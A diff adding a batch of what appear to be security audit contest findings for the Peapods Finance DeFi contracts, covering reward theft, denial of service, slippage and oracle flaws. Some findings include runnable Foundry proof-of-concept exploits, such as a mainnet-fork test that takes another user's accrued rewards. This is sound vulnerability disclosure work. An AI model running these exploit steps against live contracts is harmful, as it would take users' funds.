+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+ s_indexUtils = new IndexUtils(s_twapUtils, s_dexAdapter);
+ s_rewardsWhitelist = new RewardsWhitelist();
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ address[] memory _t = new address[](1);
+ _t[0] = address(s_podAsset);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+
+ s_pod = WeightedIndex(payable(_createPod(
+ "Podded ABC",
+ "pABC",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ true,
+ abi.encode(
+ s_dai, // Paired LP
+ address(s_peas), // LP Rewards
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b, // Fee Router
+ s_rewardsWhitelist, // Rewards Whitelist
+ s_twapUtils, // V3 Twap Utils
+ s_dexAdapter // Dex Adapter
+ )
+ )));
+
+ s_stakingPool = StakingPoolToken(s_pod.lpStakingPool());
+ s_UniV2Lp = s_stakingPool.stakingToken();
+
+ // Add Liquidity to Uniswap V2's pABC/DAI Pool
+ deal(address(s_pod), address(this), 1000e18);
+ deal(address(s_dai), address(this), 10000e18);
+
+ s_pod.approve(address(s_pod), type(uint256).max);
+ s_dai.approve(address(s_pod), type(uint256).max);
+ s_pod.addLiquidityV2(1000e18, 10000e18, 1000, block.timestamp);
+
+ s_aspFactory = new AutoCompoundingPodLpFactory();
+
+ // Preparation for minimum liquidity deposit
+ IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
+ s_stakingPool.stake(address(this), 1000);
+ s_stakingPool.approve(address(s_aspFactory), type(uint256).max);
+
+ s_asp = AutoCompoundingPodLp(s_aspFactory.create(
+ "Auto Compounding pABC",
+ "aspABC",
+ false,
+ s_pod,
+ s_dexAdapter,
+ s_indexUtils,
+ 0
+ ));
+
+ vm.label(address(s_pod), "pABC");
+ vm.label(address(s_stakingPool), "spABC");
+ vm.label(address(s_asp), "aspABC");
+ }
+
+ function test_stealRewards() public {
+ address alice = makeAddr("Alice");
+ address bob = makeAddr("Bob");
+
+ deal(s_UniV2Lp, alice, 1e18);
+ deal(s_UniV2Lp, bob, 1e18);
+
+ // Alice stakes her LP tokens to mint spABC
+ vm.startPrank(alice);
+ IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
+ s_stakingPool.stake(alice, 1e18);
+ vm.stopPrank();
+
+ // Bob stakes his LP tokens to mint spABC
+ vm.prank(bob);
+ IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
+ s_stakingPool.stake(bob, 1e18);
+ vm.stopPrank();
+
+ // Alice deposits her spABC to the aspABC
+ vm.startPrank(alice);
+ s_stakingPool.approve(address(s_asp), type(uint256).max);
+ s_asp.deposit(1e18, alice);
+ vm.stopPrank();
+
+ // Simulate rewards has been accrued in the TokenRewards contract
+ TokenRewards tokenRewards = TokenRewards(s_stakingPool.POOL_REWARDS());
+ deal(address(s_dai), address(this), 1000e18);
+ s_dai.approve(address(tokenRewards), type(uint256).max);
+ tokenRewards.depositFromPairedLpToken(1000e18);
+
+ // Bob deposits his spABC and immediately redeems it
+ vm.startPrank(bob);
+ s_stakingPool.approve(address(s_asp), type(uint256).max);
+ s_asp.deposit(1e18, bob);
+ s_asp.redeem(s_asp.maxRedeem(bob), bob, bob);
+ vm.stopPrank();
+
+ // Alice redeems her spABC
+ vm.startPrank(alice);
+ s_asp.redeem(s_asp.maxRedeem(alice), alice, alice);
+ vm.stopPrank();
+
+ // Log the balances of the participants
+ console.log("Alice's spTkn Balance:", s_stakingPool.balanceOf(alice));
+ console.log("Bob's spTkn balance:", s_stakingPool.balanceOf(bob));
+ console.log("Alice's dai balance:", s_dai.balanceOf(alice));
+ console.log("Bob's dai balance:", s_dai.balanceOf(bob));
+
+ assertEq(s_stakingPool.balanceOf(alice), s_stakingPool.balanceOf(bob));
+ assertGt(s_dai.balanceOf(bob), s_dai.balanceOf(alice));
+ }
+}
+```
+
+You can run the test case by executing `forge test --match-test test_stealRewards --fork-url {{RPC_URL}} -vv`.
+
+Here's the output of the test case:
+
+```bash
+[PASS] test_stealRewards() (gas: 2200480)
+Logs:
+ Alice's spTkn Balance: 34484714684933262642
+ Bob's spTkn balance: 34484714684933262642
+ Alice's dai balance: 0
+ Bob's dai balance: 451249999999999774375
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.65s (4.96s CPU time)
+```
+
+### Mitigation
+
+To fix the issue, we need to claim rewards from `TokenRewards` contract in `_processRewardsToPodLp` function.
+
+```diff
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
++ ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).claimRewards(address(this));
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
\ No newline at end of file
diff --git a/174.md b/174.md
new file mode 100644
index 0000000..ce295f4
--- /dev/null
+++ b/174.md
@@ -0,0 +1,42 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Incorrect value returned from `maxWithdraw` in `AutoCompoundingPodLp` contract
+
+### Summary
+
+The `maxWithdraw` function should return the amount of assets that can be withdrawn by the user, but it does not consider the rewards that are accrued to the user, thus returning incorrect value.
+
+### Root Cause
+
+The [`maxWithdraw`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L154-L156) function does not consider the rewards that are accrued to the user.
+
+### Internal Pre-conditions
+
+- One of the rewards is accrued to `TokenRewards` contract
+
+### External Pre-conditions
+
+- A user tries to withdraw maximum amounts of assets she can withdraw by using `maxWithdraw` function
+
+### Attack Path
+
+- Alice has 100 `aspTkn` out of 1000 `aspTkn` as total supply, which represents 1100 `spTkn` as total assets
+- 1000 DAI of rewards has been accrued to `TokenRewards` contract, which is equal to 100 `spTkn`, for example
+- Alice tries to withdraw maximum amounts of assets she can withdraw by using `maxWithdraw` function
+- `maxWithdraw` does not consider rewards, thus return 110
+- But it should return 120
+
+### Impact
+
+- Users can have incorrect information about their assets leading to withdrawing wrong amount of assets
+- ERC4626 incompatibility that causes potential integration issues
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The `maxWithdraw` function should simulate the reward accrual and swapping them into `spTkn` to calculate the correct amount of total assets under management.
\ No newline at end of file
diff --git a/175.md b/175.md
new file mode 100644
index 0000000..e2b84a5
--- /dev/null
+++ b/175.md
@@ -0,0 +1,138 @@
+Nutty Steel Sealion
+
+High
+
+# Pod DoS if the LEAVE_AS_PAIRED_LP_TOKEN option is enabled
+
+### Summary
+
+Pods swap fee process includes distributing fees through the `TokenRewards` contract, which reverts on `depositFromPairedLpToken` if the `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled.
+
+### Root Cause
+
+In [`TokenRewards.sol:152`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L152), if the `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled, `PAIRED_LP_TOKEN` is deposited without being swapped for `rewardsToken`.
+
+In the [`_depositRewards`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L215) function, there is a requirement statement that reverts the transaction if the deposited token is not the reward token and there are no stakers yet (`totalShares == 0`).
+
+Therefore, if there are no stakers and the `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled, all transactions that include `depositFromPairedLpToken` will revert.
+
+### Internal Pre-conditions
+
+- The `LEAVE_AS_PAIRED_LP_TOKEN` option is enabled.
+- `PAIRED_LP_TOKEN` != `lpRewardsToken`.
+- The pod has accumulated some fees (balance > 0).
+
+### External Pre-conditions
+
+There is liquidity in the pool (pool balance > 0).
+
+### Attack Path
+
+1. Users bond some tokens → The pod accumulates some fees.
+2. One of the users adds liquidity to the pool → The pool balance becomes > 0.
+3. Now, no one can debond their tokens, as the debond operation triggers `_processPreSwapFeesAndSwap`, and all conditions to swap fees and call `depositFromPairedLpToken` are met. The transaction reverts because there are no stakers in `TokenRewards`.
+4. At the same time, no one can stake tokens, because staking also triggers `_processPreSwapFeesAndSwap`.
+5. There is no way to recover from this state, because even if liquidity providers remove all the liquidity, the V2 pool mints some dead shares on the first mint, so there will always be some tokens remaining in the pool.
+
+### Impact
+
+This issue causes a permanent Pod DoS, leading to users losing their funds.
+
+### PoC
+
+Add this test to `WeightedIndexTest.t.sol`.
+
+```solidity
+function test_LeaveAsPairedLpToken() public {
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ true,
+ abi.encode(
+ dai,
+ address(peas),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ // 1. Users bond some tokens → The pod accumulates some fees.
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ pod.bond(address(peas), bondAmt, 0);
+ vm.stopPrank();
+
+ // 2. One of the users adds liquidity to the pool → The pool balance becomes > 0.
+ uint256 podTokensToAdd = 1e18;
+ uint256 pairedTokensToAdd = 1e18;
+ uint256 slippage = 50;
+
+ deal(pod.PAIRED_LP_TOKEN(), alice, pairedTokensToAdd);
+ vm.startPrank(alice);
+ IERC20(pod.PAIRED_LP_TOKEN()).approve(address(pod), pairedTokensToAdd);
+ uint256 lpTokensReceived = pod.addLiquidityV2(podTokensToAdd, pairedTokensToAdd, slippage, block.timestamp);
+
+ // 3. Now, no one can debond their tokens, as the debond operation triggers `_processPreSwapFeesAndSwap`,
+ // and all conditions to swap fees and call `depositFromPairedLpToken` are met.
+ // The transaction reverts because there are no stakers in `TokenRewards`.
+ vm.startPrank(bob);
+ address[] memory _n1;
+ uint8[] memory _n2;
+ vm.expectRevert(bytes("R"));
+ pod.debond(bondAmtAfterFee, _n1, _n2);
+ vm.stopPrank();
+
+ // 4. At the same time, no one can stake tokens, because staking also triggers `_processPreSwapFeesAndSwap`.
+ address lpStakingPool = pod.lpStakingPool();
+ vm.expectRevert(bytes("R"));
+ IStakingPoolToken(lpStakingPool).stake(alice, lpTokensReceived);
+ vm.stopPrank();
+
+ // 5. There is no way to recover from this state, because even if liquidity providers remove all the liquidity,
+ // the V2 pool mints some dead shares on the first mint, so there will always be some tokens remaining in the pool.
+ vm.startPrank(alice);
+ address v2Pool = pod.DEX_HANDLER().getV2Pool(address(pod), pod.PAIRED_LP_TOKEN());
+ IERC20(v2Pool).approve(address(pod), lpTokensReceived);
+
+ uint256 poolBalanceBefore = pod.balanceOf(v2Pool);
+ emit log_uint(poolBalanceBefore);
+ pod.removeLiquidityV2(
+ lpTokensReceived,
+ 0,
+ 0,
+ block.timestamp
+ );
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ vm.expectRevert(bytes("R"));
+ pod.debond(bondAmtAfterFee, _n1, _n2);
+ vm.stopPrank();
+}
+```
+
+### Mitigation
+
+Before processing the deposit, ensure that there are stakers in the `TokenRewards` contract. Alternatively, modify the deposit logic to burn the deposited `PAIRED_LP_TOKEN`, similar to how `rewardsToken` deposits are handled.
\ No newline at end of file
diff --git a/176.md b/176.md
new file mode 100644
index 0000000..f59062d
--- /dev/null
+++ b/176.md
@@ -0,0 +1,73 @@
+Colossal Eggplant Pig
+
+Medium
+
+# Lack of Slippage Protection in debond() Allows Potential Value Loss
+
+### Summary
+
+The [debond()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L175) function lacks slippage protection, meaning users can experience unexpected value loss due to price fluctuations, front-running, or manipulation of the share-to-asset ratio. Since the function does not enforce a minimum asset withdrawal amount, attackers or large users can extract more value at the expense of smaller participants.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L175
+
+The function [debond()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L175) calculates the withdrawal amount (_debondAmount) based on the share-to-asset ratio at the time of execution, without any safeguards against unfavorable price changes.
+
+There is no minAssetsOut parameter which allows users to set a lower bound on withdrawals. Furthermore, _totalSupply and _totalAssets can be manipulated by large debond transactions, altering the ratio unfairly.
+The _processPreSwapFeesAndSwap() function executes post-debond but does not directly mitigate slippage risks.
+
+Hence, as a result of lack of slippage protection, there is financial loss for users.
+
+```solidity
+function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+ : (_amount * (DEN - _fees.debond)) / DEN;
+ uint256 _percSharesX96 = (_amountAfterFee * FixedPoint96.Q96) / _totalSupply;
+ super._transfer(_msgSender(), address(this), _amount);
+ _totalSupply -= _amountAfterFee;
+ _burn(address(this), _amountAfterFee);
+ _processBurnFee(_amount - _amountAfterFee);
+ uint256 _il = indexTokens.length;
+ for (uint256 _i; _i < _il; _i++) {
+ uint256 _debondAmount = (_totalAssets[indexTokens[_i].token] * _percSharesX96) / FixedPoint96.Q96;
+ if (_debondAmount > 0) {
+ _totalAssets[indexTokens[_i].token] -= _debondAmount;
+ IERC20(indexTokens[_i].token).safeTransfer(_msgSender(), _debondAmount);
+ }
+ }
+ // an arbitrage path of buy pTKN > debond > sell TKN does not trigger rewards
+ // so let's trigger processing here at debond to keep things moving along
+ _processPreSwapFeesAndSwap();
+ emit Debond(_msgSender(), _amount);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. An attacker or large liquidity provider identifies an upcoming withdrawal (debond) transaction in the mempool.
+2. They debond a large amount of pTKN, artificially changing the _totalSupply and _totalAssets ratio.
+3. This worsens the exchange rate for other users who debond immediately afterward.
+4. The attacker can rebond at a better rate, extracting value from the system.
+
+
+### Impact
+
+Users may receive fewer assets than expected due to price changes between transaction submission and execution.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement slippage protection through a minAssetsOut parameter.
\ No newline at end of file
diff --git a/177.md b/177.md
new file mode 100644
index 0000000..ebc59da
--- /dev/null
+++ b/177.md
@@ -0,0 +1,96 @@
+Scrawny Mahogany Boa
+
+Medium
+
+# DoS to `debondAndLock` when a pod's hasTransferTax is true
+
+### Summary
+
+The lock process in the function `debondAndLock()` will first transfer `_amount` of pod tokens from user to the contract `PodUnwrapLocker` and then invoke the pod's function debond with the value of `_amount`. However when a pod has a transfer tax, this process will revert since the amount of pod tokens that the contract `PodUnwrapLocker` received is actually `_amount - _amount / 10000` rather than `_amount`. Thus the invocation of the `_podContract.debond(_amount, new address[](0), new uint8[](0))` will revert due to insuffient balance.
+
+[PodUnwrapLocker](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L60-L76)
+
+```solidity
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
+
+ IDecentralizedIndex _podContract = IDecentralizedIndex(_pod);
+ IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+ address[] memory _tokens = new address[](_podTokens.length);
+ uint256[] memory _balancesBefore = new uint256[](_tokens.length);
+
+ // Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+ _podContract.debond(_amount, new address[](0), new uint8[](0));
+```
+
+[DecentralizedIndex](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159-L182)
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+
+
+
+
+### Root Cause
+
+The lock process in the function `debondAndLock()` didn't take the situation when a pod has a transfer tax into the consideration.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The lock process in the function `debondAndLock()` will revert when a pod has a transfer tax.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use the amount that the contract `PodUnwrapLocker` actually received by recording the balance differences rather than simply using `_amount`.
+
+
diff --git a/178.md b/178.md
new file mode 100644
index 0000000..184b999
--- /dev/null
+++ b/178.md
@@ -0,0 +1,46 @@
+Scrawny Mahogany Boa
+
+Medium
+
+# The value of `minCollateralRequiredOnDirtyLiquidation` is not inited nor can be assigned by any function which causes the mechanism of preventing `BadDirtyLiquidation` to be effectless
+
+### Summary
+
+The liquidation process will revert when _leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256() which is mechanism to preventing bad dirty liquidations. However the value of minCollateralRequiredOnDirtyLiquidation is not inited in the constructor function nor can be assigned by any function. This causes the mechanism to preventing bad dirty liquidations to be effectless.
+
+[FraxlendPairCore](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1179-L1181)
+
+```solidity
+ } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+ }
+```
+
+### Root Cause
+
+The value of `minCollateralRequiredOnDirtyLiquidation` is not inited in the constructor function nor can be assigned by any function.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The mechanism of preventing `BadDirtyLiquidation` is effectless.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Init the value of `minCollateralRequiredOnDirtyLiquidation` in the construtor or add a function to assign the value of `minCollateralRequiredOnDirtyLiquidation`.
diff --git a/179.md b/179.md
new file mode 100644
index 0000000..14087df
--- /dev/null
+++ b/179.md
@@ -0,0 +1,78 @@
+Scrawny Mahogany Boa
+
+Medium
+
+# `exchangeRateInfo` will still be updated even when the oracle data is bad.
+
+### Summary
+
+The function `_updateExchangeRate` invokes the function `getPrices` to fetch the `_lowExchangeRate` and the `_highExchangeRate`. However when the flag `_oneOracleBad == true` which means the oracle data is bad, the function `_updateExchangeRate` still updates the `exchangeRateInfo`'s `lowExchangeRate` and `highExchangeRate` with the bad oracle data.
+
+[FraxlendPairCore](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L524-L544)
+
+```solidity
+ function _updateExchangeRate()
+ internal
+ returns (bool _isBorrowAllowed, uint256 _lowExchangeRate, uint256 _highExchangeRate)
+ {
+ // Pull from storage to save gas and set default return values
+ ExchangeRateInfo memory _exchangeRateInfo = exchangeRateInfo;
+
+ // Short circuit if already updated this block
+ if (_exchangeRateInfo.lastTimestamp != block.timestamp) {
+ // Get the latest exchange rate from the dual oracle
+ bool _oneOracleBad;
+ (_oneOracleBad, _lowExchangeRate, _highExchangeRate) = IDualOracle(_exchangeRateInfo.oracle).getPrices();
+
+ // If one oracle is bad data, emit an event for off-chain monitoring
+ if (_oneOracleBad) emit WarnOracleData(_exchangeRateInfo.oracle);
+
+ // Effects: Bookkeeping and write to storage
+ _exchangeRateInfo.lastTimestamp = uint184(block.timestamp);
+ _exchangeRateInfo.lowExchangeRate = _lowExchangeRate;
+ _exchangeRateInfo.highExchangeRate = _highExchangeRate;
+ exchangeRateInfo = _exchangeRateInfo;
+```
+
+### Root Cause
+
+The function `_updateExchangeRate` still updates the `exchangeRateInfo`'s `lowExchangeRate` and `highExchangeRate` with the bad oracle data when the flag `_oneOracleBad == true`.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Bad oracle data will be applied to the `exchangeRateInfo`'s `lowExchangeRate` and `highExchangeRate`. This will cause the solvency check to be incorrect and the incorrect determination of whether the borrow is allowed or not.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not update the `exchangeRateInfo`'s `lowExchangeRate` and `highExchangeRate` when the oracle data is bad.
+
+```solidity
+ if (_oneOracleBad) emit WarnOracleData(_exchangeRateInfo.oracle);
+ else{
+ // Effects: Bookkeeping and write to storage
+
+ _exchangeRateInfo.lastTimestamp = uint184(block.timestamp);
+ _exchangeRateInfo.lowExchangeRate = _lowExchangeRate;
+ _exchangeRateInfo.highExchangeRate = _highExchangeRate;
+ exchangeRateInfo = _exchangeRateInfo;
+ }
+
+```
\ No newline at end of file
diff --git a/180.md b/180.md
new file mode 100644
index 0000000..dd4d3c2
--- /dev/null
+++ b/180.md
@@ -0,0 +1,46 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Reward tokens could be locked in `VotingPool` contract
+
+### Summary
+
+Using `VotingPool`, users can stake tokens from the token list set by the owner to earn rewards.
+The owner sets the stakeable token and also `IStakingConversionFactor`, which defines the `getConversionFactor` function related to the token.
+Looking at the current protocol implementation, `ConversionFactorPTKN` and `ConversionFactorSPTKN` exist together with `VotingPool`.
+This means that `PTKN` or `SPTKN` are possible as tokens designated by the owner.
+When users stake using `SPTKN`, the `VotingPool` contract receives reward tokens while transferring `SPTKN`.
+As a result, some reward tokens will be locked in `VotingPool` contract because of the lack of mechanism handling reward tokens..
+
+### Root Cause
+
+`ConversionFactorPTKN` and [`ConversionFactorSPTKN`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/voting/ConversionFactorSPTKN.sol#L29-L36) exist together with `VotingPool`. This means that `SPTKN` is possible as stakable token.
+
+While [staking](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/voting/VotingPool.sol#L40) and [unstaking](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/voting/VotingPool.sol#L54), `SPTKN` is transferred from and to `VotingPool` contract. This means that some reward tokens are distributed to `VotingPool` contract.
+
+But there is no mechanism of handling reward tokens.
+
+### Internal Pre-conditions
+
+SPTKN is set as stakable token.
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Reward tokens could be locked in `VotingPool` contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Introduce mechanism of handling reward tokens.
\ No newline at end of file
diff --git a/181.md b/181.md
new file mode 100644
index 0000000..d25dc9e
--- /dev/null
+++ b/181.md
@@ -0,0 +1,83 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Accounting for debond fee would raise the slipage tolerance inside `_pairedLpTokenToPodLp`
+
+### Summary
+
+`_pairedLpTokenToPodLp` calculates the `swapOut` amount, however it also includes the debond fee to the pod price, even though that pod won't be debonded, but instead added as LP into UNI.
+
+### Root Cause
+`_pairedLpTokenToPodLp` calculates the `_minPtknOut`, which is the base to pod token price, discounted by 5% (i.e. 5% slippage margin)
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L311
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ // ...
+
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+
+ // (podBasePrice * _pairedSwapAmt * 10^(podDecimals) / 10^(pairedLpDecimals) / 1e18) * 95%
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+
+```
+
+However the issue is that we use the same exact flow that is used in liquidations in frax lend, meaning that we assign debond fee to the output data inside `_calculateBasePerPTkn`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104-L106
+```solidity
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+
+
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Slippage is 5% allowed
+2. Debond fee is 10%
+3. `_pairedLpTokenToPodLp` is triggered and it calculate the price of the pod to be 100 USD
+4. However the bond fee is aplied, lowering it to 90 USD
+5. Now `_pairedLpTokenToPodLp` also adds it's 5% slippage tolerance, making the final price 85.5 USD
+
+
+Now if that's a malicious user or a an MEV bot he would be able to exploit the 14.5% slippage and profit reasonably, which in tern would be bad for the system as it would decrease the yield `AutoCompoundingPodLp` provides
+
+### Impact
+
+Assigning those fees would cause a higher slippage tolerance, as another 10% reduction in price due to debond fees would cause the slippage to increase from 5% to ~15%. This will enable users or MEV bots to manipulate the price before the swap and extract value.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider having another flow (i.e. an `if`) that will trigger only for `AutoCompoundingPodLp` and allow us to get the price without including the debond fee in it.
\ No newline at end of file
diff --git a/182.md b/182.md
new file mode 100644
index 0000000..fef8fcd
--- /dev/null
+++ b/182.md
@@ -0,0 +1,73 @@
+Scrawny Mahogany Boa
+
+Medium
+
+# Incorrect calculation of _assets in the function `convertToAssets` when `_firstIn==true` in the contract `WeightedIndex`
+
+### Summary
+
+In the contract `WeightedIndex`, the function `convertToAssets` calculates the value of `_assets` with the formula `(indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2)`. However when `_firstIn==true`, the value of `_percSharesX96_2` is `2 ** (96 / 2)` which does not take the `_shares` into the consideration. Thus in this calculation, the value of `_assets` will be `10 ** IERC20Metadata(_tokens[0]).decimals()` after simplification, which means no matter how much the `_share` is, the corresponding `_asset` value is fixed to be `10 ** IERC20Metadata(_tokens[0]).decimals()`. Since the function `convertToAssets` is also used by the contract `spTKNMinimalOracle` to calculate the prices, so this will lead to incorrect oracle prices.
+
+[WeightedIndex](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L120C1-L129C6)
+
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+
+[spTKNMinimalOracle](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L231-L244)
+
+```solidity
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)
+ internal
+ view
+ returns (uint256)
+ {
